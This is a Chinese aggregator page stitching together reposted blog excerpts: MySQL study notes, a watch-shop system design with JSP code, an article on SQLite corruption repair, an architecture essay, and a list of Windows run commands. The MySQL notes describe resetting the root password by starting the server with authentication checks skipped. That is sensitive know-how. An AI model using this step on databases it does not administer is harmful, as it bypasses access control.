[SQL结构]的搜索结果

...删除相应内容。 MySql02 复习 显示所有数据 show databases; 创建新数据库,设置编码方式utf8 create database demo2 default charset utf8; 显示创建数据的语句 show create database demo2; 删除数据库 drop database demo2; 选择使用指定的数据库 use demo1; 查看库中所有表 show tables; 创建表 create table book(bid int(4) primary key comment '书id', bname varchar(50) comment '书名',pub varchar(50) comment '出版社',author varchar(50) comment '作者' )engine=myisam charset=utf8; 所有字段名,使用,所有的字符串使用''或者"" 查看建表语句 show create table book; 查看表结构 desc book; 修改表名 rename table book to book1; 修改表属性 ,引擎和字符集 alter table book1 engine=innodb charset=utf8; 添加字段 first after alter table book1 add(type varchar(20) comment '类型',numinput int(10) comment '进货量',numstore int(10) comment '库存量'); 修改字段名 bid bno alter table book1 change bid bno int(4); 修改顺序 pub 放到author后面 alter table book1 modify pub varchar(50) after author; 修改数据类型 bno int(4) -->int(10) alter table book1 modify bno int(10); 删除字段 alter table book1 drop 字段名; 删除表 drop table 表名; 插入语句 insert into book1(bno,bname,author,type) values(1001,'斗破苍穹','天蚕土豆','玄幻');insert into book1(bno,bname,author,type) values(1002,'全职高手','蝴蝶兰','网游竞技');insert into book1(bno,bname,author,type) values(1003,'鬼吹灯','天下霸唱','恐怖');insert into book1(bno,bname,author,type)values(1004,'西游记','吴承恩','4大名著');insert into book1(bno,bname,author,type)values(1005,'java基础','王克晶','达内学习手册'); update语句 把1005号书,修改成'天线宝宝',作者不详,类型少儿 把1004号书修改成'天龙八部',作者金庸,类型武侠 update book1 set bname="天线宝宝",author="作者不详",type="少儿" where bno=1005; 删除类型是'恐怖'的所有书籍 删除全表记录 删除表格 修改book名称为book_item rename table book to book_item; 在表格尾部添加字段price double(7,2) alter table book_item add price double(7,2); 把price字段的位置放到author之后 alter table book_item modify price double(7,2) after author; 把表中存在的数据添加价格,每本书都在100~1000之间,自定 update book_item set price=199 where bno=1001; 修改1001的价格为500元 把所有字段的null字段补全 update book_item set pub="达内出版社",numinput=500,numstore=100 where pub is null; 删除价格小于150的所有条目 删除所有数据 SQL分类 数据定义语言 DDL 重点 数据操纵语言 DML 重点 增 删 改 数据查询语言 DQL select 查 事务控制语言 TCL 数据库控制语言 DCL 数据定义语言 DDL - 负责数据结构定义,与创建数据库对象的语言- 常用create alter drop- DDL不支持事务,DDL语句执行之后,不能回滚 数据操纵语言 DML - 对数据库中更改数据操作的语句- select insert update delete--> CRUD 增删改查- 通常把select相关操作,单独出来,称之为DQL- DML支持事务,在非自动提交模式时,可以利用rollback回滚操作. 数据查询语言 DQL - 筛选,分组,连表查询 面试重点 TCL 和 DCL - 事务控制语句TCL- 负责实现数据库中事务支持的语言,commit rollback savepoint等指令- DCL数据库控制语言- 管理数据库的授权,角色控制等,grant(授权),revoke(取消授权) 练习： 案例：创建一张表customer（顾客） create table customer(cid int(4) primary key comment '顾客编号',cname varchar(50) comment '顾客姓名',sex char(5) comment '顾客性别',address varchar(50) comment '地址',phone varchar(11) comment '手机',email varchar(50) comment '邮箱'); show create table customer; 插入5条数据 insert into customer values(1001,'小明','男','楼上18号','123','123@163.com');insert into customer values(1002,'小红','女','楼上17号','1234','1234@163.com');insert into customer values(1003,'老王','男','楼上18号隔壁','1234','1234@163.com');insert into customer values(1004,'老宋','男','楼上17号隔壁','1234','1234@163.com');insert into customer values(1005,'小马','女','楼上17号隔壁','1234','1234@163.com'); -1 修改一条数据的姓名 小红的姓名 -2 修改一条数据的性别 老王的性别 -3 修改一条数据的电话 1001号的电话 -4 修改一条数据的邮箱 邮箱为123@163.com,改成323@163.com -5 查询性别为 男的所有数据 select from customer where sex="男"; -6 自定义DDL操作的需求,5道题,可以同上面book表的操作 数据库数据类型 主要包括5大类 整数类型 int, big int 浮点数类型 double decimal 字符串类型 char varchar text 日期类型 date datetime timestamp time year... 其他数据类型 set.... 字符串 - char(固定长度) 定长字符串 最多255个字节- 定多少长度,就占用多少长度- 多了放不进去,少了用空格补全- 不认识内容尾部的空格- varchar(最大长度) 变长字符串 最大65535字节,但是使用一般不超过255- 只要不超过定的长度,都可以放进去- 以内容真实长度为准- 认识内容尾部的空格- text 最大65535字节- blob 大数据对象,以二进制(字节)的方式存储 整数 tinyint 1字节 smallint 2字节 int 4字节 bigint 8字节 int(6)影响的是查询时显示长度(zerofill)不影响数据的保存长度 create table t1(id1 int,id2 int(5)); insert into t1 values(111111,111111); alter table t1 modify id1 int zerofill; alter table t1 modify id2 int(5) zerofill; insert into t1 values (1,1); float 4字节 double 8字节 double(8,2) 可能会产生精度的缺失 10.0/3 3.3333333336 decimal 不会缺失精度,但是使用的时候需要指定总长度和小数位数 日期 - date 年月日- time 时分秒- datetime 年月日时分秒,到9999年,而且需要手动输入,如果没有手动输入,就显示null.- timestamp 年月日时分秒,在没有数据手动插入时,自动填入当前时间.最大值2038- bigint 1970-1-1 0:0:0 格林威治时间 案例：创建表t，字段d1 date，d2 time,d3 datetime,d4 timestamp create table t(id int,d1 date,d2 time,d3 datetime,d4 timestamp);insert into t (d1,d2) values ('1910-01-10','12:32:12');insert into t values(1,'2018-12-21','15:12:00','1995-02-10 12:08:12','2030-10-10 15:19:32');insert into t values(2,'3018-01-25','15:12:34','9234-12-31 12:12:12','2030-12-31 12:12:12');insert into t values(2,'3018-01-25','15:12:34','9999-12-31 23:59:59','2030-12-31 12:12:12'); 练习 创建人物表，插入，修改，查询 create table person(id int(4) primary key,name varchar(50),age int(3));insert into person values(1,"梅超风",36);insert into person values(2,"洪七公",96);insert into person values(3,"杨过",40);insert into person values(4,"令狐冲",28);insert into person values(5,"张三丰",100);insert into person values(6,"张翠山",27);insert into person values(7,"张无忌",27);insert into person values(8,"赵敏",18);insert into person values(9,"独孤求败",250);insert into person values(10,"楚留香",36);1.案例：修改张三丰的name为刘备，id为11update person set name="刘备",id=11 where name="张三丰";2.案例：修改2号人物的的name为夏侯渊update person set name="夏侯渊" where id=2;3.案例：根据条件修改person表中的数据,修改id是6的数据中，姓名改为'任我行', 年龄改为39update person set name="任我行",age=39 where id=6;4.案例：修改姓名是‘楚留香'的数据，把id改为20，年龄改为19update person set id=20,age=19 where name="楚留香";5.案例：把person所有的数据的年龄全部改为20 update person set age=20;6.案例：修改id为7的数据，把id改为100，姓名改为杨过，年龄改为21update person set id=100,name="杨过",age=21 where id=7;7.案例：修改姓名是独孤求败，把年龄改为35update person set age=35 where name="独孤求败";8.案例：修改id=8的信息，把姓名改为房玄龄update person set name="房玄龄" where id=8;9.案例 :修改id为20并且年龄为20的人的姓名为刘德华(郑少秋也行)提示 where...and...update person set name="郑少秋" where id=20 and age=20; 查询 没有条件的简单查询 select from 表名;查询表中所有的数据 select from person; select from t; select from emp; select from dept; 查询某些列中的值 select name as '姓名' from person; select name as '姓名',age as '年龄' from person; select id as '编号',name as '姓名',age as '年龄' from person; 学习过程的编程习惯select from 表; 工作中的编程习惯select id,name,age from person; 查询emp表中所有员工的姓名,上级领导的编号,职位,工资 select ename,mgr,job,sal from emp; 查询emp表中所有员工的编号,姓名,所属部门编号,工资 select empno,ename,deptno,sal from emp; 查询dept表中所有部门的名称和地址 select dname,loc from dept; 如果忘记了mysql的用户名和密码怎么办 卸载重新装 不重装软件如何修改密码 1.停止mysql服务 2.cmd中输入一个命令 mysqld --skip-grant-tables; -通过控制台,开启了一个mysql服务 3.开启一个新的cmd -mysql -u root -p 可以不使用密码进入数据库 show databases;----mysql 5. use mysql; 6. update user set password=password('新密码') where user="root"; 7. 关闭mysqld这个服务/进程 8. 重启mysql服务 作业 mysql02,一天的代码重新敲一遍,熟悉emp和dept列名 本篇文章为转载内容。原文链接：https://blog.csdn.net/sinat_41915844/article/details/79770973。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...va技术，基于B/S结构，MYSQL数据库，主要包括前端应用程序的开发以及后台数据库的建立和维护两个方面。对于应用程序的开发要求具备功能要完备、使用应简单等特点，而对于数据库的建立和维护则要求建立一个数据完整性强、数据安全性好、数据稳定性高的库。腕表交易系统的开发技术具有很高可行性，且开发人员掌握了一定的开发技术，所以系统的开发具有可行性。 3.1.2 操作可行性 腕表交易系统的登录界面简单易于操作，采用常见的界面窗口来登录界面，通过电脑进行访问操作，会员只要平时使用过电脑都能进行访问操作。此系统的开发采用PHP语言开发，基于B/S结构，这些开发环境使系统更加完善。本系统具有易操作、易管理、交互性好的特点，在操作上是非常简单的。因此本系统可以进行开发。 3.1.3 经济可行性 腕表交易系统是基于B/S模式，采用MYSQL数据库储存数据，所要求的硬件和软件环境，市场上都很容易购买，程序开发主要是管理系统的开发和维护。所以程序在开发人力、财力上要求不高，而且此系统不是很复杂，开发周期短，在经济方面具有较高的可行性。 3.1.4 法律可行性 此腕表交易系统是自己设计的管理系统，具有很大的实际意义。开发环境软件和使用的数据库都是开源代码，因此对这个系统进行开发与普通的系统软件设计存在很大不同，没有侵权等问题，在法律上完全具有可行性。 综上所述，腕表交易系统在技术、经济、操作和法律上都具有很高的可行性，开发此程序是很必要的。 3.2 腕表交易系统功能需求分析 此基于SSM的腕表交易系统分前台功能和后台功能： 1）前台部分由用户使用，主要包括用户注册，腕表购物车管理，订单管理，个人资料管理，留言板管理 2）后台部分由管理员使用，主要包括管理员身份验证，商品管理，处理订单，用户信息管理，连接信息管理 3.3 数据库需求分析 数据库的设计通常是以一个已经存在的数据库管理系统为基础的，常用的数据库管理系统有MYSQL，SQL，Oracle等。我采用了Mysql数据库管理系统，建立的数据库名为db_business。 整个系统功能需要以下数据项： 用户：用户id、用户名称、登录密码、用户真实姓名、性别、邮箱地址、联系地址、联系电话、密码问题、答案、注册时间。 留言：主题id、作者姓名、Email、主题名称、留言内容、发布时间。 商品：商品id、名称、价格、图片路径、类型、简要介绍、存储地址、上传人姓名、发布时间、是否推荐。 订单：订单号、用户名、真实姓名、订购日期、Email、地址、邮编、付款方式、联系方式、运送方式、订单核对、其他。 管理员：管理员id、管理员名称、管理员密码。 公告：公告内容、公告时间。 4系统设计 4.1 系统功能模块设计 功能结构图如下： 图9 功能模块设计图 从图中可以看出，网上腕表交易系统可以分为前台和后台两个部分，前台部分由用户使用，主要包括用户注册，生成订单，腕表购物车管理，查看腕表购物车，查看留言，订购产品，订单查询和发布留言7个模块；本文转载自http://www.biyezuopin.vip/onews.asp?id=11975后台部分由管理员使用，主要包括管理员身份验证，商品管理，处理订单，用户信息管理，连接信息管理5个模块。 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><base href="<%=basePath%>"/><title>腕表商城</title><meta http-equiv="pragma" content="no-cache"><meta http-equiv="cache-control" content="no-cache"><meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"><meta http-equiv="description" content="This is my page"><meta name="viewport" content="width=device-width, initial-scale=1"><!-- Favicon --><link rel="shortcut icon" type="image/x-icon" href="img/favicon.png"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/font-awesome.min.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/bootstrap.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/style.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/magnific-popup.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/owl.carousel.css"><script type="text/javascript">function getprofenlei(){ var html = ""; $.ajax({url: "leixing.action?list&page=0&rows=30",type: "POST",async: false, contentType: "application/x-www-form-urlencoded;charset=UTF-8",success: function (data) { $.each(data.rows, function (i, val) { html += ' <li ><a href="home/search.jsp?fenlei='+val.id+'" >'+val.a1+' </a></li>';})} }); $("fenlei").html(html);}function gettop1(){var html = "";$.ajax({url: "leixing.action?list&page=0&rows=10",type: "POST",async: false,success: function (data) {var total='';//<div class="tab-pane active" id="nArrivals">// <div class="nArrivals owl-carousel" id="top1">$.each(data.rows, function (i, valmm) { html+='<div class="nArrivals owl-carousel" id="'+valmm.id+'">';$.ajax({url: "shangpin.action?list&page=0&rows=10",type: "POST",async: false,data: { fenlei:valmm.id },success: function (data) { $.each(data.rows, function (i, val) { html+='<div class="product-grid">'+'<div class="item">'+' <div class="product-thumb">'+' <div class="image product-imageblock"> <a href="home/details.jsp?ids='+val.id+'"> <img data-name="product_image" style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> <img style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> </a> </div>'+' <div class="caption product-detail text-left">'+' <h6 data-name="product_name" class="product-name mt_20"><a href="home/details.jsp?ids='+val.id+'" title="Casual Shirt With Ruffle Hem">'+val.biaoti+'</a></h6>'+' <div class="rating"> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-x"></i></span> </div>'+'<span class="price"><span class="amount"><span class="currencySymbol">$</span>'+val.jiage+'</span>'+'</span>'+'<div class="button-group text-center">'+' <div class="wishlist"><a href="home/details.jsp?ids='+val.id+'"><span>wishlist</span></a></div>'+'<div class="quickview"><a href="home/details.jsp?ids='+val.id+'"><span>Quick View</span></a></div>'+'<div class="compare"><a href="home/details.jsp?ids='+val.id+'"><span>Compare</span></a></div>'+'<div class="add-to-cart"><a href="home/details.jsp?ids='+val.id+'"><span>Add to cart</span></a></div>'+'</div>'+'</div>'+'</div>'+'</div>'+' </div>'; })html+='</div>'; } })}) $("nArrivals").html(html); } }); 本篇文章为转载内容。原文链接：https://blog.csdn.net/newlw/article/details/127608579。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...实并删除相应内容。 SQLite损坏修复 问题背景 目前后台服务器应该是不保存聊天记录，口袋助理iOS端的所有聊天记录都存储在一个 SQLite 数据库中，一旦这个数据库损坏，将会丢失用户的聊天记录。 解决思路 预防措施： SQLite 是一个号称每行代码都有对应测试的成熟框架，其代码问题导致的 bug 非常少见。而一般损坏原因主要有3点： 空间不足 设备断电或 AppCrash 文件 sync 失败 针对空间不足： 通过中度的使用和观察，我发现 iOS 端的空间占用是相对合理的，并没有对存储空间的明显浪费。并且 App 会在数据库写入时检查可用空间，如果不足时会抛出空间不足的提示。 针对设备断电或App崩溃： 设备断电属于不可抗力。而 App 崩溃目前我们准备上线 APM 监控平台，预期在一到两个版本的迭代中把崩溃率降低到千分之一以下的行业优秀水平。 针对文件 sync 失败： 调整 synchronous = FULL ， 保证每个事务的操作都能写入文件。目前CoreData的默认配置项。 调整 fullfsync = 1 ， 保证写入文件顺序和提交顺序一致，拒绝设备重排顺序以优化性能。此项会降低性能。对比得出写入性能大概降低至默认值的25%左右。 优化效果： 根据微信的实践，调整配置项后，损坏率可以降低一半，但并不能完全避免损坏，所以我们还是需要补救措施。 补救措施： 通过查阅 SQLite 的相关资料，发现修复损坏数据库的两种思路和四种方案。 思路一：数据导出 .dump修复 从 master 表中读出一个个表的信息，根据根节点地址和创表语句来 select 出表里的数据，能 select 多少是多少，然后插入到一个新 DB 中。 每个SQLite DB都有一个sqlite_master表，里面保存着全部table和index的信息（table本身的信息，不包括里面的数据哦），遍历它就可以得到所有表的名称和 CREATE TABLE ...的SQL语句，输出CREATE TABLE语句，接着使用SELECT FROM ... 通过表名遍历整个表，每读出一行就输出一个INSERT语句，遍历完后就把整个DB dump出来了。 这样的操作，和普通查表是一样的，遇到损坏一样会返回SQLITE_CORRUPT，我们忽略掉损坏错误， 继续遍历下个表，最终可以把所有没损坏的表以及损坏了的表的前半部分读取出来。将 dump 出来的SQL语句逐行执行，最终可以得到一个等效的新DB。 思路二：数据备份 拷贝： 不能再直白的方式。由于SQLite DB本身是文件（主DB + journal 或 WAL）， 直接把文件复制就能达到备份的目的。 .dump备份： 上一个恢复方案用到的命令的本来目的。在DB完好的时候执行.dump， 把 DB所有内容输出为 SQL语句，达到备份目的，恢复的时候执行SQL即可。 Backup API： SQLite自身提供的一套备份机制，按 Page 为单位复制到新 DB， 支持热备份。 综合思路：备份master表+数据导出 WCDB框架： 数据库完整时备份master表，数据库损坏时通过使用已备份的master表读取损坏数据库来恢复数据。成功率大概是70%。缺点在于我们目前项目使用的是CoreData框架，迁移成本非常的高。没有办法使用。 补救措施选型原则： 这么多的方案孰优孰劣？作为一个移动APP，我们追求的就是用户体验，根据资料推断只有万分之一不到的用户会发生DB损坏，不能为了极个别牺牲全体用户的体验。不影响用户体验的方法就是好方案。主要考量指标如下： 一：恢复成功率 由于牵涉到用户核心数据，“姑且一试”的方案是不够的，虽说 100% 成功率不太现实，但 90% 甚至 99% 以上的成功率才是我们想要的。 二：备份大小： 原本用户就可能有2GB 大的 DB，如果备份数据本身也有2GB 大小，用户想必不会接受。 三：备份性能： 性能则主要影响体验和备份成功率，作为用户不感知的功能，占用太多系统资源造成卡顿 是不行的，备份耗时越久，被系统杀死等意外事件发生的概率也越高。 数据导出方案考量： 恢复成功率大概是30%。不需要事先备份，故备份大小和备份性能都是最优的。 备份方案考量： 备份方案的理论恢复成功率都为100%，需要考量的即为备份大小和性能。 拷贝：备份大小等于原文件大小。备份性能最好，直接拷贝文件，不需要运算。 Backup API： 备份大小等于原文件大小。备份性能最差，原因是热备份，需要用到锁机制。 .dump：因为重新进行了排序，备份大小小于原文件。备份性能居中，需要遍历数据库生成语句。 可以看出，比较折中的选择是 Dump ，备份大小具有明显优势，备份性能尚可，恢复性能较差但由于需要恢复的场景较少，算是可以接受的短板。 深入钻研 即使优化后的方案，对于大DB备份也是耗时耗电，对于移动APP来说，可能未必有这样的机会做这样重度的操作，或者频繁备份会导致卡顿和浪费使用空间。 备份思路的高成本迫使我们从另外的方案考虑，于是我们再次把注意力放在之前的Dump方案。 Dump 方案本质上是尝试从坏DB里读出信息，这个尝试一般来说会出现两种结果： DB的基本格式仍然健在，但个别数据损坏，读到损坏的地方SQLite返回SQLITE_CORRUPT错误， 但已读到的数据得以恢复。 基本格式丢失（文件头或sqlite_master损坏），获取有哪些表的时候就返回SQLITE_CORRUPT， 根本没法恢复。 第一种可以算是预期行为，毕竟没有损坏的数据能部分恢复。从成功率来看，不少用户遇到的是第二种情况，这种有没挽救的余地呢？ 要回答这个问题，先得搞清楚sqlite_master是什么。它是一个每个SQLite DB都有的特殊的表， 无论是查看官方文档Database File Format，还是执行SQL语句 SELECT FROM sqlite_master;，都可得知这个系统表保存以下信息： 表名、类型（table/index）、 创建此表/索引的SQL语句，以及表的RootPage。sqlite_master的表名、表结构都是固定的， 由文件格式定义，RootPage 固定为 page 1。 正常情况下，SQLite 引擎打开DB后首次使用，需要先遍历sqlite_master，并将里面保存的SQL语句再解析一遍， 保存在内存中供后续编译SQL语句时使用。假如sqlite_master损坏了无法解析，“Dump恢复”这种走正常SQLite 流程的方法，自然会卡在第一步了。为了让sqlite_master受损的DB也能打开，需要想办法绕过SQLite引擎的逻辑。 由于SQLite引擎初始化逻辑比较复杂，为了避免副作用，没有采用hack的方式复用其逻辑，而是决定仿造一个只可以 读取数据的最小化系统。 虽然仿造最小化系统可以跳过很多正确性校验，但sqlite_master里保存的信息对恢复来说也是十分重要的， 特别是RootPage，因为它是表对应的B-tree结构的根节点所在地，没有了它我们甚至不知道从哪里开始解析对应的表。 sqlite_master信息量比较小，而且只有改变了表结构的时候（例如执行了CREATE TABLE、ALTER TABLE 等语句）才会改变，因此对它进行备份成本是非常低的，一般手机典型只需要几毫秒到数十毫秒即可完成，一致性也容易保证， 只需要执行了上述语句的时候重新备份一次即可。有了备份，我们的逻辑可以在读取DB自带的sqlite_master失败的时候 使用备份的信息来代替。 到此，初始化必须的数据就保证了，可以仿造读取逻辑了。我们常规使用的读取DB的方法（包括dump方式恢复）， 都是通过执行SQL语句实现的，这牵涉到SQLite系统最复杂的子系统——SQL执行引擎。我们的恢复任务只需要遍历B-tree所有节点， 读出数据即可完成，不需要复杂的查询逻辑，因此最复杂的SQL引擎可以省略。同时，因为我们的系统是只读的， 写入恢复数据到新 DB 只要直接调用 SQLite 接口即可，因而可以省略同样比较复杂的B-tree平衡、Journal和同步等逻辑。 最后恢复用的最小系统只需要： VFS读取部分的接口（Open/Read/Close），或者直接用stdio的fopen/fread、Posix的open/read也可以 B-tree解析逻辑 Database File Format 详细描述了SQLite文件格式， 参照之实现B-tree解析可读取 SQLite DB。 实现了上面的逻辑，就能读出DB的数据进行恢复了，但还有一个小插曲。我们知道，使用SQLite查询一个表， 每一行的列数都是一致的，这是Schema层面保证的。但是在Schema的下面一层——B-tree层，没有这个保证。 B-tree的每一行（或者说每个entry、每个record）可以有不同的列数，一般来说，SQLite插入一行时， B-tree里面的列数和实际表的列数是一致的。但是当对一个表进行了ALTER TABLE ADD COLUMN操作， 整个表都增加了一列，但已经存在的B-tree行实际上没有做改动，还是维持原来的列数。 当SQLite查询到ALTER TABLE前的行，缺少的列会自动用默认值补全。恢复的时候，也需要做同样的判断和支持， 否则会出现缺列而无法插入到新的DB。 解析B-tree方案上线后，成功率约为78%。这个成功率计算方法为恢复成功的 Page 数除以总 Page 数。 由于是我们自己的系统，可以得知总 Page 数，使用恢复 Page 数比例的计算方法比人数更能反映真实情况。 B-tree解析好处是准备成本较低，不需要经常更新备份，对大部分表比较少的应用备份开销也小到几乎可以忽略， 成功恢复后能还原损坏时最新的数据，不受备份时限影响。 坏处是，和Dump一样，如果损坏到表的中间部分，比如非叶子节点，将导致后续数据无法读出。 落地实践： 剥离封装RepairKit： 从WCDB框架中，剥离修复组件，并且封装其C++的原始API为OC管理类。 备份 master 表的时机： 我们发现 SQLite 里面 B+树 算法的实现是 向下分裂 的，也就是说当一个叶子页满了需要分裂时，原来的叶子页会成为内部节点，然后新申请两个页作为他的叶子页。这就保证了根节点一旦下来，是再也不会变动的。master 表只会在新创建表或者删除一个表时才会发生变化，而CoreData的机制表明每一次数据库的变动都要改动版本标识，那么我通过缓存和查询版本标识的变动来确定何时进行备份，避免频繁备份。 备份文件有效性： 既然 DB 可以损坏，那么这个备份文件也会损坏，怎么办呢？我用了双备份，每一个版本备份两个文件，如果一个备份恢复失败，就会启动另一个备份文件恢复。 介入恢复时机： 当CoreData初始化SQLite前，校验SQLite的Head完整性，如果不完整，进行介入修复。 经过我深入研究证明了这已经是最佳做法。 本篇文章为转载内容。原文链接：https://blog.csdn.net/a66666225/article/details/81637368。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...内存中的 Java 结构。这样整个项目的运行和维护就变得简单高效了，省去了低效的交流和不准确人工转换。 我们可以看到一开始按电信专家的说明直接实现协议是更为容易的办法，但就整个软件生命周期来看却并不是一个简单高效的方法。 永远不要停止编码 架构师也是程序员，代码是软件的最终实现形态，停止编程会逐渐让你忘记作为程序员的感受，更重要的是忘记其中的“痛”，从而容易产生一些不切实际的设计。 大家可能听说过在 Amazon，高级副总裁级别的 Distinguish Engineer（如：James Gosling，Java 之父），他们每年的编码量也非常大，常在 10 万行以上。 风险优先 架构设计很重要的一点是识别可能存在的风险，尤其是非功能性需求实现的风险。因为这些风险往往没有功能性需求这么容易在初期被发现，但修正的代价通常要比修正功能性需求大非常多，甚至可能导致项目的失败，前面我们也提到了非功能性需求决定了架构，如数据一致性要求、响应延迟要求等。 我们应该通过原型或在早期的迭代中确认风险能够通过合理的架构得以解决。 绝对不要把风险放到最后，就算是一个项目要失败也要让它快速失败，这也是一种敏捷。 从“问题”开始，而不是“技术” 技术人员对于新技术的都有着一种与身俱来的激情，总是乐于去学习新技术，同时也更有激情去使用新技术。但是这也同样容易导致一个通病，就是“当我们有一个锤子的时候看什么都是钉子”，使用一些不适合的技术去解决手边的问题，常常会导致简单问题复杂化。 我曾经的一个团队维护过这样一个简单的服务，起初就是一个用 MySQL 作数据存储的简单服务，由团队的一个成员来开发和维护。后来，这位成员对当时新出的 DynamoDB 产生了兴趣，并学习了相关知识。 然后就发生下面这样的事： 用DynamoDB替换了MySQL。 很快发现DynamoDB并不能很好的支持事务特性，在当时只有一个性能极差的客户端类库来支持事物，由于采用客户端方式，引入了大量的额外交互，导致性能差别达7倍之多。这时候，这个同学就采用了当时在NoSQL领域广泛流行的最终一致技术，通过一个Pub-Sub消息队列来实现最终一致（即当某对象的值发生改变后会产生一个事件，然后关注这一改变的逻辑，就会订阅这个通知，并改变于其相关数据，从而实现不同数据的最终一致）。 接着由于DynamoDB无法提供SQL那样方便的查询机制，为了实现数据分析就又引入了EMR/MapReduceJob。 到此，大家可以看到实现一样的功能，但是复杂性大大增加，维护工作也由一个人变成了一个团队。 过度忙碌使你落后 对于 IT 人而言忙碌已成为了习惯，加班常挂在嘴边。“996”工作制似乎也变成了公司高效的标志。而事实上过度的忙碌使你落后。经常遇见一些朋友，在一个公司没日没夜的干了几年，没有留一点学习时间给自己。几年之后倒是对公司越来越“忠诚”了，但忙碌的工作同时也导致了没有时间更新知识，使得自己已经落后了，连跳槽的能力和勇气都失去了。 过度忙碌会导致没有时间学习和更新自己的知识，尤其在这个高速发展的时代。我在工作经历中发现过度繁忙通常会带来以下问题： 缺乏学习导致工作能力没有提升，而面对的问题却变得日益复杂。 技术和业务上没有更大的领先优势，只能被动紧紧追赶。试想一下，要是你都领先同行业五年了，还会在乎通过加班来早一个月发布吗？ 反过来上面这些问题会导致你更加繁忙，进而更没有时间提高自己的技术技能，很快就形成了一个恶性循环。 练过健身的朋友都知道，光靠锻炼是不行的，营养补充和锻炼同样重要。个人技术成长其实也一样，实践和学习是一样重要的，当你在一个领域工作了一段时间以后，工作对你而言就主要是实践了，随着你对该领域的熟悉，能学习的到技术会越来越少。所以每个技术人员都要保证充足的学习时间，否则很容易成为井底之蛙，从而陷入前面提到的恶性循环。 最后，以伟大诗人屈原的诗句和大家共勉：“路漫漫其修远兮，吾将上下而求索“。希望我们大家都可以不忘初心，保持匠心！ 作者简介： 蔡超，Mobvista 技术 VP 兼首席架构师，SpotMax 云服务创始人。拥有超过 15 年的软件开发经验，其中 9 年任世界级 IT 公司软件架构师/首席软件架构师。2017 年加入 Mobvista，任公司技术副总裁及首席架构师，领导公司的数字移动营销平台的开发，该平台完全建立于云计算技术之上，每天处理来自全球不同 region 的超过 600 亿次的请求。 在加入 Mobvista 之前，曾任亚马逊全球直运平台首席架构师，亚马逊（中国）首席架构师，曾领导了亚马逊的全球直运平台的开发，并领导中国团队通过 AI 及云计算技术为中国客户打造更好的本地体验；曾任 HP（中国）移动设备管理系统首席软件架构师，该系统曾是全球最大的无线设备管理系统（OMA DM）（客户包括中国移动，中国联通，中国电信等）；曾任北京天融信网络安全技术公司，首席软件架构师，领导开发的网络安全管理系统（TopAnalyzer）至今仍被政府重要部门及军队广为采用，该系统也曾成功应用于 2008 北京奥运，2010 上海世博等重要事件的网络安全防护。 本篇文章为转载内容。原文链接：https://blog.csdn.net/Honnyee/article/details/111896981。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

....cliconfg：SQL SERVER 客户端网络实用工具 8.cmstp：连接管理器配置文件安装程序 9.cmd：CMD命令提示符 10.自动关机命令 Shutdown -s -t 600：表示600秒后自动关机 shutdown -a ：可取消定时关机 Shutdown -r -t 600：表示600秒后自动重启 rundll32 user32.dll,LockWorkStation：表示锁定计算机 11.colorcpl：颜色管理，配置显示器和打印机等中的色彩 12.CompMgmtLauncher：计算机管理 13.compmgmt.msc：计算机管理 14.credwiz：备份或还原储存的用户名和密码 15.comexp.msc：打开系统组件服务 16.control：控制面版 17.dcomcnfg：打开系统组件服务 18.Dccw：显示颜色校准 19.devmgmt.msc：设备管理器 20.desk.cpl：屏幕分辨率 21.dfrgui：优化驱动器 Windows 7→dfrg.msc：磁盘碎片整理程序 22.dialer：电话拨号程序 23.diskmgmt.msc：磁盘管理 24.dvdplay：DVD播放器 25.dxdiag：检查DirectX信息 26.eudcedit：造字程序 27.eventvwr：事件查看器 28.explorer：打开资源管理器 29.Firewall.cpl：Windows防火墙 30.FXSCOVER：传真封面编辑器 31.fsmgmt.msc：共享文件夹管理器 32.gpedit.msc：组策略 33.hdwwiz.cpl：设备管理器 34.inetcpl.cpl：Internet属性 35.intl.cpl：区域 36.iexpress：木马捆绑工具，系统自带 37.joy.cpl：游戏控制器 38.logoff：注销命令 39.lusrmgr.msc：本地用户和组 40.lpksetup：语言包安装/删除向导，安装向导会提示下载语言包 41.lusrmgr.msc：本机用户和组 42.main.cpl：鼠标属性 43.mmsys.cpl：声音 44.magnify：放大镜实用程序 